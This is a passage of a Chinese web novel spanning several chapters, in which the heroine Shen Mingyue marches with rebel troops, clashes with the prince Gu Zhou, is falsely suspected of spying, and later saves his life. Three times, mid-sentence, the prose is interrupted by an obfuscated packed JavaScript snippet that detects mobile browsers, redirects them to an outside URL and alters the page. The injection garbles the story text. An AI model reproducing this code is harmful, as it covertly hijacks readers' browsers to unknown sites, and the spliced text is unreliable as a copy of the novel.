沈明月因担心海棠回来会再生误会,说完便夹着纸卷匆匆离开。 出征在即,顾洲本来是想跟她解释一下那日清晨的事,但她都没有给他说话的机会,可转念一想,为什么要同她解释呢?有必要跟她解释吗? 看着她的背影消失在月色中,他心中有些惆怅,不知为何就想起了一个画面,那日清晨,就这个门口外,晶莹的露珠在散落的野花上闪耀着,有那么一瞬极其晃眼。 或许沈明月早就忘记了那束野花。 此时的义军营内,又出发了一个营,沈明月将纸卷交给朱文,说道:“把这烧了,与下一个营一起出发。” “这么快?”朱文似乎没有想到,也没有做好准备。 “事不宜迟,早一日到达就早一日见到胜利。” 沈明月说着已经将行囊背在身上,之后对徐铭说道:“我此前已与将军已商议好,由你带两千人马走明路,义军会对北蛮人有动作,你们在明路,容易成为他们反攻的目标,务必要提高警惕,与义军做好配合,保持联络,互相支援。” “是,先生放心。”徐铭眼中满是坚定。 “好,注意安全。” 她拍拍徐铭的肩膀,对他点点头投去信任的目光,这个大男孩成长很快,照先前在别院稳重了许多,她相信他已经能够独挡一面了。 夜深了,虫鸣声已停歇,几声夜枭的长长的叫声划拨开天地间的寂静,沈明月和朱文跟随肖广林的队伍出发了。 他们这支队伍百余人,分成三路先后前进,沈明月、肖广林和监军张明瑞各带一路。 山路崎岖,有的地方甚至没有路,若不是义军中有常在山中活动的猎户,普通人很难找对方向,走出山林。 行军一日,到了一处相对平坦之地,三路义军在一处水源地集结后,各自埋锅造饭。 肖广林端着碗靠着土坡对伙伴说道:“别看沈长史是个女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350344|167945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,倒是能跟上队伍,真是不一般、不一般呐。” 一个男子说道:“谁要是能娶到沈长史这样的女子,那可真积了八辈子的德,祖坟冒青烟了。” 恰巧沈明月从旁边经过,这男子叫住她:“沈长史,来我给你看看手相。” “好呀!”沈明月也来了兴趣,虽然她不信这些,但现在不失为枯燥行军生活的调剂。 她伸出右手,那男子一看便笑着说道:“不得了,不得了,掌中川字纹,富贵不离身,这是大富大贵的命格。” 随后他又细看了看,眉头便蹙了起来,“但是长史要小心,你命中该有一劫,若平安度过便可长命百岁、此生顺遂,但若度不过去,只怕会有性命之忧……” “呸!呸!说什么瞎话呢,就你那两下子都是糊弄人的事。”肖广林不等他说完便骂了起来,此番他们是去打仗,那不就是劫难吗,他是真心不愿这姑娘出什么事。 沈明月拍拍自己的掌心笑道:“这手相是天生的,或许昭示着命运,但我们更要相信命运是掌握在自己手中的,就比如我们,原本可以选择继续逃难,可是大家却都出现在这里,所以相信手掌的纹路,不如相信手掌握成拳头的力量。” “好,好!”这一番话坚定意志、鼓舞人心,肖广林带头鼓起掌来。 “非也,非也。”不知何时朱文也走过来,但是站着离他们两臂之远处,背着手要准备议论一番。 沈明月赶紧打断他:“你多吃点,一会儿别跟不上队伍。” 她真是担心这家伙说出什么话来扰乱军心,一路上这人真是令人头痛,娇生惯养的身板,怨天尤人的态度,她肠子都悔青了,真不该带他同来。 她找借口带朱文离开,责备道:“你能不能别说话,再这样我就把你留在这里喂狼。” “怎么,我想说点实话都不行?”朱文一脸不忿。 “你到底有什么不满的?天天阴阳怪气的。” “我是为这世道不公,凭什么有人生来就是荣华富贵,有人生来就要受尽苦难。” 沈明月十分无奈,“你也是生于富贵之家,不愁吃穿还能读书,已经比他们优越很多了,你还抱怨什么?之前你是怎么说的,说什么上报国家安下安黎民的,怎么受了这点苦就退缩了?” “正是因为这样我才更加不公,想我寒窗十余年一点功名都未得,沦落到如此境地,上天不公啊!可那些王公贵族,天生就有权利,若我是……” 这是嫉妒,小资产阶级的摇摆性和投机性!沈明月狠狠地翻了他一个白眼,打断他:“祝你下辈子你也托生到帝王家,要权有权、要势得势。” 她不想与他纠缠,抬脚想走。 “我若生在帝王家,绝对会是顶天立地之人,不会像现在几个皇子这般。” 这倒是引起沈明月的好奇,自打来到这里,还不了解统治者的情况,她怕朱文不说,故意激他道:“你好像知道挺多似的。” “那当然,怎的?你不知?”接着朱文靠近她,小声絮叨了大皇子的逸闻轶事。 “这倒是跟顾洲有些像。”沈明月自言自语,低头仔细走路,踢开脚下一块石头,“这大皇子骄奢淫逸、风流成性、不务正业,这样的人若是承接这江山,啧啧……” 石头顺着山坡滚到两个人的脚下停住,随着沈明月目光上移,顾洲和徐铭出现在她的视线中。 顾洲身披龙鳞甲胄,腰悬云霄宝剑,足蹬牛皮战靴,英姿飒爽、卓尔不群,可那张英俊的脸却比鞋拔子还要长、比锅底还要黑。 而他身后的徐铭正眉头紧皱,却是满脸担忧地对她轻轻摇头。 “呦,将军亲自来了?”沈明月想前面那句话声音很小,他们应该没听到,所以心虚地打了招呼。 顾洲没有理会,转头离开。 “先生你……唉!”徐铭无奈地不知说什么好,追着顾洲去了。 沈明月一脸茫然,问朱文道:“我的声音很大吗?他听到了?” 17. 尴尬 “你是说顾洲?你认识他?”朱文面色有些发白,声音压得极低。 “怎么?不就是他么?”沈明月说着,朝二人离开的方向扬了扬下巴。 朱文听了开始腿软了,扶着树干才站稳,声音甚至有些发颤:“你怎可直呼大皇子名讳……他就是大皇子……完了完了……” “什么??”沈明月瞪大了眼睛,脸上满是惊讶。 她竟然当着正主的面蛐蛐人家! 但细想想这个人,隐藏得远比她想象的要深,她原以为他只是那家重臣之子,参与党政,没想到他就是党争本主,这倒是解释通了他为什么如此小心翼翼戒备极重,他面对的不仅仅是党争,而是九死一生的储位之争。 她看看朱文、又想想顾洲,一个表面忧国忧民实则软蛋怂包、一个表面纨绔膏粱实则志在鸿鹄。 呵呵,有点意思! 惊讶过后便是尴尬,她也后知后觉地明白了那二人的表情,她那些话是刻薄了些,换作谁听都会不高兴,但现在去解释估计会适得其反,还是离他们远点为好。 沈明月朝相反的方向,去查看队伍的休整情况,见一切已收拾好,正欲启程时,徐铭找到她。 “沈长史,将军有令,命你随他前行。” 当着众人的面,徐铭第一次叫了“沈长史”这称谓,语气也是颇为严肃。 沈明月没办法驳了将军命令,只得与肖广林叮嘱几句,让他看好朱文,之后便与徐铭一起去见顾洲。 离了人群,徐铭说道:“先生想想该怎么解释吧。” 她有些不安,“我不是故意的……” “先生是真不知道还是装糊涂?”徐铭有些犯难,他刚才试图为她说情,主上却这样下了这样的命令,他也猜不透其中的意思。 “我是真不知道!”沈明月一脸无辜。 “怎么可能?唉!算了……我家主上是先皇后嫡出的大皇子,姓顾名洲字承平,先生可要记好,还有,主上还是喜欢别人叫他将军。” 一路忐忑行至顾洲跟前,沈明月拱手为礼:“沈某不知实情,特来向将军道歉。” 徐铭则在她旁边小声提示:“跪拜,跪拜。” 但她没有理会,她这膝盖跪天地跪父母跪人民,但绝不会跪权势。 “特来道歉?若我不下令,你也打算过来道歉?”顾洲冷冷地看了她一眼。 “正是,正是。”沈明月心口有些发紧,悄悄用袖子擦掉掌心的细寒,微微抬眸,眼神中带着一丝心虚,暗暗骂道:跟你客气两句还蹬鼻子上脸了。 “既然知错,那就要军法处置。” 沈明月皱了皱眉,这纨绔来真的?小肚鸡肠,只是说了几句实话,如何至于这样? 顾洲没有给她回答道机会,直接说道:“沈明月听令,革去其长史之职,降为马夫。” “你!”沈明月没想到他会说出这话来,气到语塞,忍着气直视于对方,“希望将军不要因个人恩怨破坏我们之间的合作。” “合作?你觉得我们之间是合作吗?”顾洲眉宇轻挑,眼中的戏谑带着不容忽视的锐利,仿佛在说:你的命都在我手里,有什么资格和我谈合作。 好汉不吃眼前亏,沈明月咬着牙应承下来:“马夫就马夫!” 队伍启程她才发现顾洲所带人马并不多,徐铭悄悄告诉她,得知义军已出发,主上发了好大的火,之后借着巡狩的名义亲自带兵跟来,现下人马已分成五路,分别配合五个营的行动。 沈明月想他生气,大概是因为自己没有遵守他的命令,那出征的军令上写的是次日出征,但队伍当晚就出发了,但这一点似乎并不是重点,虽说军令如山,但也要视情况而定。 还有一点她也不解,她特意看过军规,记得上面写着“城防守将有调派一州军队之权,主将若离营,需上奏朝中”,他能到这里来,必然已知会朝中,但这么短的时间,估计奏折都没有到达京城,对政敌来说,这是多么大的把柄,他怎么会这么轻易地交出去? 沈明月问道:“这都是顾洲安排的?他怎么亲自来了?” “我也不知道,主上没说。” “这纨绔不是向来都小心行事吗?”沈明月像是自言自语,又像是在问徐铭,虽然她现在恨不得打顾洲一顿来解气,但也不希望因他被朝廷责罚而影响这次行动。 “沈先生别总是这样说,主上不是这样的人,先生也别灰心……”徐铭一边给马倒豆子一边说:“等将军气消了就会给先生官复原职的。” “姑奶奶我不稀罕!”沈明月坐在河边的石头上,向河面上抛着石子,担忧着以后的行程。 自出发之日算起已经出发五日了,也如她预想的一样,几支队伍都遇见了北蛮人,本着“打得过就打,打不过就跑的原则”,队伍的折损倒不大。 徐铭喂完马,又将马儿牵到水边拴好,“先生在这看着马喝水就好了,我去休息会儿。” 他揉揉腰和肩、捶捶肩膀:“我还是去求将军给先生官复原职吧……” “辛苦你了,快去吧。” 这几日都是徐铭带人照顾马匹,她更像是个监工,要是没有他的帮助,真不知道该怎么办,看着徐铭离去的背影,沈明月不自觉地笑了:这也算是善人有善报了。 午时炎热,军士吃完饭各自找阴凉处安歇,周围一片安静,只有溪水流淌着欢快的笑声,这山涧溪流是山水汇聚而成,明澈见底、清凉无比。 沈明月撩着水花,坐在邻水的巨石上,脱了鞋袜挽起裤腿,将脚伸进水里,水流带走了温热,也带走了脚底的不适。 这具身体太娇弱了,出发后不到半日脚底便磨出几个血泡,一帮糙老爷们脚程快,她只能忍着痛努力跟上,天气热时,他们便赤膊前行,于她而言多有不便,此刻,她倒觉得被顾洲提来倒也不错,最起码有马骑。 如此甚好,她抬起头闭上眼睛深吸了一口气,享受着这片刻的惬意,阳光似乎随着呼吸进入体内,令她全身舒适起来,随后四下看看,确定无人后,脱掉了外衣,缓缓走进水中,散开头发清洗起来。 不远处,树后的顾洲忙收回目光,他本是要找徐铭,却听侍卫说徐校尉在河边喂马,他便寻过来,到时正见沈明月对这徐铭的背影发笑。 不知为何,他只觉这一幕十分刺眼,心中别扭起来,这徐铭当了校尉还来做这等杂事。 看着河边沈明月自在地拨弄水花,他怎么也移不开脚步,直到沈明月脱衣入水,“非礼勿视”才让他才晃过神来,低头压住了嘴角的笑意,可刚想离开,只听“嗖嗖”两声。 是箭簇之声! 抬头望去,只见两只箭在沈明月身边入水,沈明月则抱着头弯下身体,他来不及多想快步冲过去,此时沈明月也离开了小溪,被他迎上,一把拦住隐蔽在芦苇丛中。 他抬头环视, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350345|167945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只见半山腰的树木一阵晃动,那是放箭之人,影影绰绰见有两个人隐没进了树丛中。 二人太过紧张,待顾洲确定人已走后,才意识到他将沈明月紧紧地揽在怀中,低头一看,怀中之人蹙眉凝神,湿漉漉的头发披散在肩上,打湿了衣衫,脖颈间的白皙的肌肤浮着一层水,在星星点点的阳光下晶莹透粉。 他忙松开手,错开的目光不知该看向哪里,带着些慌乱说道:“我去给你拿衣服。” 沈明月也缓过神来,用手捂着胸口微微敞开的衣领,尴尬地说道:“好……好……” 衣服和鞋子依旧是被抛过来,她快速穿好,束起头发,走到顾洲跟前谢道:“多谢将军,又救了我。” 顾洲转过身来,见她面色微白,眼中尚存一丝惊慌,想责备她不该独处,却又想到她只是个女子,生死攸关之际能有这反应已经算是机敏了,于是开口只轻声说道:“走吧,这里不安全。” 沈明月点点头,一边走一边想应该是北蛮人,也不知周围还有多少,前面会不会有埋伏…… 但耳边响起顾洲低沉的嗓音:“刚才……多有冒犯……” “啊?什么?”沈明月跟不上思绪,不明白他在说什么? “我……刚才……你的衣服湿了……”顾洲不知该如何解释,清了清嗓子转过头去。 沈明月明白过来他的意思,但是感觉这话不是对她的道歉,而是对海棠的愧疚,她不在乎地说道:“事急从权,这没什么,应该是北蛮人都追来了,该想想要如何应对。” 她倒是坦荡,顾洲没有回答,心中有点别扭,但对于敌人他没有发愁,因为心中已有应对方案。 他叫来徐铭吩咐一番,徐铭领命而去,随后下令队伍立即启程。 这溪谷之地易守难攻,他们在谷底就如池中之鱼,一张网便可捕尽,现在最好的选择就是回到山路上。 徐铭带一队人马先去探路,确定无埋伏后才通知队伍前进。 顾洲命沈明月与他走在队伍中间,走到太阳落山,山势开始平缓起来,远远可见几处房屋。 半日行程,军士们没有休息,早已疲乏不已,顾洲命军队安营扎寨,就地休整。 黑夜笼罩了大地,不远处的山林里传来林枭和夜莺的啼鸣声,看来周围没有人活动,是安全的,顾洲悬着的心才放了下来。 他回幄帐时,见沈明月靠着一棵树干低着头,似乎睡得很沉。 的确,这半日来她一直紧绷着一根弦,待听闻一切正常后,精神松弛下来,疲惫趁虚而入,连晚饭都没来得及吃就睡了过去。 顾洲刚想上前,徐铭却先一步上前,欲叫醒她,顾洲忙拉住徐铭,做了个噤声的手势,之后上前俯身将人抱起朝幄帐走去,动作很轻,走得很慢。 身后的徐铭微微有些诧异,但也没有多想,跟上去守在了幄帐外面。 顾洲的动作再轻,将人放下时还是将人惊醒。 “谁?”沈明月突然睁开眼,猛然坐起身来,肉眼可见的警惕与紧张。 顾洲不想她反应这般强烈,有些紧张的说道:“是我……” 待看清是顾洲,她拍着胸口常舒了一口气,“吓死我了,我以为……” 她没有说下去,因为她以为是突袭。 看她这样子,顾洲正纠结是不是到底因为自己的缘故,刚想解释,只听外面一声“报——”随着马蹄声急急传来。 18. 怀疑 二人闻声而出,只见不远处一个军士滚落下马,跌跌撞撞地跑过来叩拜:“禀将军,周校尉一路人马遭北蛮人伏击,情况紧急,请将军速派人支援。” 顾洲命人带军士去包扎伤口,拿出舆图细看看,随后召来徐铭,详细交代一番,命他带三百人马前去支应。 徐铭有些担心,若他走了,主上身边剩的人不多,如何能保证安危。 “眼下周景文那里更重要,速去。” “是。”徐铭领命,立即点兵,飞驰而去。 沈明月仔细听着着顾洲的安排,分析着他的决策,似乎没什么缺陷,看来这纨绔的应变能力不错,军事才能尚可。 “出发!”徐铭大喊一声,带着人马出发,众人举着火把,像一条火龙向山里游去。 这是沈明月来到这个世界,第一次真正意义上接触到战争,冷兵器战争。 刚才那个传信的军士伤得不轻,看来前线的战事很激烈,不知这一队人马够不够应对。 火龙渐行渐远,她下意识地向前走了几步,看着队伍绕过山坡消失于夜色之中。 “沈长史可以异议?” 顾洲的声音在身后响起,不知为何,沈明月总觉得这声音里带着几分不悦,这种情况下虽然紧张,但他也不该把情绪带出来,一军将领,要先稳住阵脚。 她转身看着说话之人,只见一侧脸被黑夜笼罩,一侧脸被火光映衬,眉头拧在一起,坚毅的目光中带着疑虑。 唉!对他也不能太苛刻,他的出身能做到这样也算优秀,但是他说“沈长史”,这是给她官复原职了? 沈明月上前两步,拱手为礼:“将军安排甚好,在下无异议。” “去休息吧,天亮出发。” “是,是。” 沈明月想回到刚才的大树旁,却被顾洲的侧身拦住,“你去幄帐。” 顾洲说完之后朝着巡逻的军士走去,走了两步忽觉哪里不对。 到底是哪里不对?他从头细想着,午间那射箭之人能接近队伍,功夫一定不错,从箭矢射出的方向与距离来看,如此好的功夫不该失手,但他们却没有射杀她,难道是为了将自己引出来?难道来人与沈明月是一伙儿的,是在给她传消息? 他回头望了望,沈明月还在看着队伍离去的方向,回想她刚才担忧转释然的表情,不由得疑心更重,她已经知道了作战计划,那么下一步就是要传消息吗? 事关重大,他没有时间去试探、去拷问,而是吩咐道:“来人,将沈明月关起来!” 听到这突如其来的声音,沈明月惊呆了,难以置信看向他,眼中满是不解与惊讶,她甚至疑心自己听错了,怔怔地看看向对方,她一动不动,脸颊上的肌肉隐隐约约颤抖着。 直到两个军士押住她的胳膊,才恍然这是真的,她不能接受,似乎用尽了全身的力气,才问出三个字。 “为什么?” “你刚才将计划听到仔细,现在在观察情况,是不是要准备去传递消息?”顾洲冷冷地丢下几句话。 这一言如惊雷在沈明月耳畔炸开,脑中嗡鸣不已。 他是在怀疑她!可明明今天他还救了她! 这些莫名其妙的怀疑,她不知道要如何解释,也不知从何解释,心中有些不知所措,目光从他身上移开,无目的地扫视一圈后又回到他身上。 这毫无根据的责问让她没办法回答,赌气似地冷冷说道:“既然将军这么想,我无话可说。” 沈明月被捆了手脚丢在一棵树旁边,风拂过头顶的叶片,发出的“沙沙”声让她觉得寒冷,透过树干的缝隙,她看到几颗星星在孤零零地闪烁着,忽然觉得很悲哀。 原来,他从来没有相信过自己。 此前海棠屡次对顾洲说过怀疑的话,她自己还天真地认为顾洲不相信,现在看来竟然是在做戏,想来真是可笑,自己真是愚蠢到家了,他们是什么关系,怎会不信任对方。 她闭上眼睛靠着树干,随便那纨绔怎么处置吧,她这缕孤魂就不该出现在这里. 也不知过了多久,正待她昏昏沉沉之际,又听到兵荒马乱之声,期间夹杂着军士的呼声:“主上快走!” 周围一片兵器声和厮杀声,火把皆被熄灭,夜色模糊看不清来的是什么人,但见身手矫捷、动作利落。 沈明月赶紧蹭到树后伏下身子,避开人群,她这里隐蔽,混乱中竟没有人发现他。 不多时一阵马声嘶鸣,伴随着马蹄离开的声音,厮杀声也渐渐远去,直至没有了人声,她深吸了几口气,稳住心跳,想着要赶紧离开这里。 环视四周,见不远处丢着一柄刀,她翻身滚到刀旁边,用绳子摩擦刀刃试图切断绳子,刀刃没有着力点,这是很困难的一件事,但费了九牛二虎之力,绳子终于断了。 她揉揉手腕,又斩断脚上的绳子,刚想离开,但是看着周围一片苍茫漆黑,又不知该去往何处。 想起之前看到远处似有房屋,便决定去那里,虽然有房屋,但傍晚的时似乎没有炊烟升起,那里不一定有人居住,于是她收拾了一些物资,又捡了一把锋利的刀防身。 她不敢走大路,摸索着在树木和山石之间前进,走到天蒙蒙亮,再也支撑不住,便坐下来休息,拿出一张饼子吃了起来,饼子又干又硬,艰难地嚼了两口,咽下时嗓子被划得生痛。 水囊已经空了,她起身看了看山势,朝着山坳处走,那里是山水汇聚之地。 她记得前方是平缓之地,可现在却在山里,看来是走错方向了,不计较这些,她要赶紧吃饱喝足恢复体力,趁着有太阳能辨别方向,快快离开这里才是要紧事。 翻过山陵,果见一条溪流,她快步到溪边捧起水喝了两口,又洗了脸,紧张的神经稍微松懈一点。 太阳高高升起,才将光芒照进山坳,清晨露水汤汤,浑身潮湿不堪,她选了块干燥向阳的地方,想把自己晒干。 这日光真是温暖,她长舒一口气,庆幸昨日能逃过一劫,但想起昨夜的事,她觉得心寒。 昨夜那场惊变带来的伤害,远不及顾洲那句怀疑的言语带来的伤害,此前他的质疑,她笑着接下,因为她自身的确可疑,但是他们已共事了这么久,他依旧在怀疑,这就要令她生气。 顾洲的话犹在耳边回荡,她恨得牙根痒痒,灰心丧气至极,为了帮他们,自己沥尽心血、殚精竭虑地拉起了这支队伍,又将队伍培养成了近乎正规军,而顾洲就这样卸磨杀驴。 也怪自己太天真,怀疑的种子一旦种下就会迅速生根发芽,长成参天大树,摧毁一切信任。 姑奶奶不干了,姑奶奶要回去!她捡起一块石头狠狠地向溪水中砸去。 可那块石头落水后,并没有激起想象中的水花,这让沈明月心中很是不快,搬起一块更大的石头砸过去,这次倒是有水花,但那水花中似乎闪过一抹桃粉色。 她四周看了看,并没有这个颜色的山花,这也不像是自然界里该有的颜色,好奇心驱使她走过去,离近了才发现那是一块帕子,折了根长树枝将帕子挑过来,展开一看不觉大吃一惊。 这不是她在别院授课时绣的吗? 从别院出来,她没有带走任何东西,怎么会出现在这里?难道附近有她的学生? 她又仔细地观察了一下周围,却什么也没有,缘溪而上百余步,只见一从芦苇后有银光闪烁。 好像金属的反光,丢了一块石头过去却无反应,她紧张地握紧了手中的刀,慢慢上前挑开芦苇,是铠甲,但这铠甲好生眼熟。 是那纨绔!是顾洲! 沈明月忙丢了刀上前查看,只见他趴在溪边,面色发白、唇色发紫,满身血污,下半个身子浸在水中。 “顾洲?顾洲!” 她使劲摇了摇他,没有任何反应,又搭上颈部脉搏,几乎感觉不到,溪水清浅,他应该不是溺水,而是伤势过重。 救活他!这一个念头在脑中冒出来,没有多想其它,她将人翻过来后,解开盔甲和外袍,回忆着心肺复苏术的做法,按压他的胸腔。 此时她本该将人拖到向阳地,奈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350346|167945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何这人实在是沉重,而她也没有力气。 “醒过来呀,你这浑蛋!姑奶奶都不计前嫌救你了,你自己要争口气。” 沈明月自言自语,这些措施似乎没有效果,她越来越急,便使劲在他脸上打了两巴掌。 这巴掌倒是见效了,顾洲咳了两声,呼吸也顺畅起来,微微睁开眼睛,嘴动了几下,从唇形来看,像是在叫她的名字。 终于活了!沈明月瘫坐在地,长舒一口气,才发觉已是满头虚汗。 “先起来,到安全地方去。” 在她的帮助下,顾洲用尽全身力气起身,二人艰难地挪到隐蔽处,她为他检查着身上的伤口,伤倒是不少,但都是皮肉伤,不足以致命。 “我欠你一条命!”顾洲有些不好意思,拉上衣领遮住胸膛,又感觉到脸颊火辣辣的疼,下意识摸了摸。 沈明月看着他脸上的巴掌印,心中一阵暗爽,清了清嗓子说道:“知道就好,你真是有病,我是坑你了还是害你了,竟然这样怀疑我。” “抱歉!是我错了,不该疑你。”顾洲说完便没有了力气,眼眸一低垂下头去。 沈明月看他这柔弱的样子,想起了自己在河边被他刁难的那一幕幕,真是风水轮流转,如今也到她掌握他的生死了。 于是她拿起刀,用刀尖抬起他的下巴,冷声说道:“这山沟中狼多,叼走一个人也不是不可能。” 顾洲闭上眼睛侧过脸,似乎是认命了,“是我不对,要杀要剐,悉听尊便。” 这话让沈明月有些失望,这不是她想要的,她想要的是,让他放下上位者的姿态与傲气,向她求饶求救,而不是这样的柔弱和嘴硬。 她忽觉好生无趣,心中很不痛快,若是他能起来打一架,让她出出气也好受些,偏偏对方一副半死不活的状态,算了,那两巴掌就当报复了。 二人无言僵持了一会儿,沈明月将刀放下,这般恃强凌弱不是她的做派,她决定不再这样,本来也没打算将他怎么样。 她大度地说道:“这次就放过你,你我的恩怨也到此为止,以后桥归桥、路归路,别再让我遇到你。” 说罢拿起物资装备背在身后,转身就走,暗中揉了揉发酸的手腕,这刀可真是沉! 可还没走出五步,就听后面倒地之声。 唉!真是欠他的!沈明月无奈叹了口气,折返回去将人扶正,拿出药包翻找,临出发前,徐铭特意为她多装了些药丸,已备不时之需,还真派上了用场。 一个写着“牛黄十三”的纸包被翻找出来,沈明月记得这是止血的药,但也不知道要吃多少,随便倒出了两三粒塞到顾洲口中,又给他喂了些水。 “算你命大,遇到了我……能起来吗?我们得离开这里。” 顾洲的头轻轻动了一下,连呼吸都感觉到困难。 沈明月只好将他的铠甲扒下来,藏到隐蔽处,架起他的一条胳膊,蓄了一下力后,将人拽了起来,顾洲也很是配合,二人向着流水的方向前行。 水往低处流,这山涧里的水最终会汇聚到一起,有水源就会有人烟,有人烟就活的希望,二人跌跌撞撞,走十步休五步,终于在午前看到了一间建在山坡上的茅草屋。 远看草屋的窗户已破败,但沈明月没有贸然过去,而是将顾洲放到隐蔽处,提了刀小心探查,从侧面靠近小屋,向窗户里丢了块石头,随后她双手紧紧握住刀柄,做防御状。 “咯咯哒……”几声鸡鸣传来,紧接着一只山鸡扑腾着翅膀从门口飞出,扬起一阵尘土。 看来这里是安全的,沈明月用手扇了扇尘土,咳了几声后捂住了口鼻,环顾屋内有一些炊具和几块木板搭的床,墙上挂着一些绳索,看来是猎户的落脚点。 虽然屋子破旧,但二人算是有了容身之地,顾洲很是虚弱,刚被放下就昏睡了过去。 沈明月看着手上新鲜的血渍,知道那是他的伤口撕裂了,于是清洗炊具,生火烧水,打算为他清洗包扎伤口。 刚解开顾洲的腰带,一个小瓷罐从他怀中滚落出来。 19. 相救 瓷罐滚沈明月的脚边,她捡起来仔细看了看,又是一阵惊讶,这不是海棠送给她的药膏吗?怎么顾洲身上? 但随即又想也许是一样的瓷罐,她没有贸然打开,而是在物资中翻找了一遍,果然不见了瓷罐,可她记得清楚,自营州出发前,特地回去拿了一趟。 最终她还是打开罐子闻了闻,看着药膏上面残留的指纹,这才确定就是她自己的那一个。 难道是这纨绔偷的? 但她立即否定了这个想法,这纨绔要什么得不到,犯不着盗窃,又或者看着心上人将自己送的东西转赠送他人,心里不高兴,便悄悄拿了回来? 唉!不管怎样,以后还他便是,也算物归原主了,但这药膏的确是好用,正好能给他用上。 她小心将顾洲的衣衫褪下,检查了一遍伤情,胳膊上腿上有外伤,胸口处有几块淤青。 看来敌人不少,将队伍都打散了,可他身为主帅怎么会伤成这样?他手下的侍卫和军士又在哪里?这一串疑惑只有等他醒来才会有答案。 不过如此说来,沈明月反倒觉得自己是因祸得福了,要不是被捆到不起眼的地方,估计也要被敌军追得满山跑,那时候能不能保住性命都两说。 看着奄奄一息的顾洲,她恶狠狠的说道:“真是苍天有眼,善有善报,恶有恶报,不是不报,时候未到。” 虽然这样说,但水热后,她还是小心地为他擦洗上药,包扎完毕后用被子盖好,多亏她之前推广的单兵作战物资中的物品齐全,够他们二人在这荒山野岭中坚持几日。 食物只有烤饼子,为了存放时间长一些,这饼子烤得又干又硬又咸,直接给顾洲吃肯定是不行,幸好这个时节山货多,出去能碰碰运气。 沈明月翻看墙上的绳索,竟然在里面发面了一把弹弓,真是天助也。 出发前她又看了看顾洲,见他面色好了许多,呼吸也平顺,摸摸额头也没有发热,于是在火堆中填了些柴后便出了草屋。 山里的植被长得茂盛,树下积年的落叶堆得很厚,看来这个时代人口少得可怜,亦或是外敌入侵,人口南迁的结果,她想着这些,并不敢走得太远,一会儿太阳落到山后面,这里很快会暗下来,温度也会降低。 弹弓的弓弦应该是牛筋制成的,弹性还可以,毕经练过枪法,她的准头不错,还很幸运地打到了一只山鸡,随后又挖了些野菜,到溪边杀鸡取肉,清洗野菜后返回,山阴已经将草屋笼罩。 当顾洲在一阵饭香中醒来时,竟有些恍惚,仿佛是回到了他与母亲正逃难在外的时候,他母亲挺着微微隆起的肚子,端着一碗汤面对他说:“洲儿,吃饭了。” 那碗汤面的味道他永远也不会忘记,那味道能抵过这世上所有对珍馐,他又使劲闻了闻,似乎就是这个味道。 母亲!? 他喉结滚动了一下,刚想将这两个字叫出口,抬起头定睛一看,却是沈明月将野菜倒进锅里的画面,原来是梦…… “你醒啦!一会儿就能吃饭了……伤口上过药了,你最好不要动。”沈明月见他动了一下,松了口气,看来是没事了,之后继续搅动着锅里的食物。 上过药了?顾洲将被子掀开一条缝往里看了看,只见自己光着上半身,下身只穿了亵裤。 他大惊失色,忙起身找衣服穿上,可被子却滑落,露出半个身子来,赶紧扯过被子盖住腿、又去系上衣的带子、又想将外袍穿上,一时手忙脚乱。 沈明月看着他的惊慌失措,好似偷情被抓一般,竟觉得十分好笑,嘴角不自觉地撇了撇。 “你……不要看了……”顾洲话语有些结巴,身体如僵住一般,不知如何是好,只紧紧抱住衣服遮挡在胸口前。 沈明月将目光移向锅中,戏谑道:“你们这些富家公子还真是‘拘小节而缺大德,重末节而无廉耻’。” 她特意咬重了“缺大德”“无廉耻”这几个字眼,之后盛了一碗碎饼肉糜野菜汤,接着调戏道:“该看的、不该看的,我可都看了,你捂着也没用!” “你!” 顾洲虽然已习惯了她的刻薄,但还是一阵错愕,面前这个女子,怎么可以说出这样的话来?怎么可以不在乎自身的清白? 沈明月不屑了他一眼,自己一个大姑娘都没说什么,他倒是先扭捏上了,还真当自己是清纯男少? 等顾洲好衣服,她端了一碗食物到他跟前,言语间几乎是命令:“你什么你!我不给你包扎,你早见阎王去了!趁热吃。” 顾洲迟疑了一下,接过碗却没有动。 沈明月见他不动,自己也盛了一碗吃了一口,“放心,没毒,我想害你还用等到现在?” “我不是这个意思……” 顾洲这话中多少带着点委屈的音调,这一刻沈明月才想到,他大约是担心被海棠知晓,有些后悔刚才说的话,于是缓和了态度,找补了一句:“放心,海棠不会知道的。” 与海棠有什么干系?这话真是莫名其妙,顾洲心头闪过一丝疑惑,却也没有多想,只将碗放到一边,系好腰带才慢慢吃起饭来,也许是太饿了,也许是这味道令人怀念,他竟然一连吃了两碗。 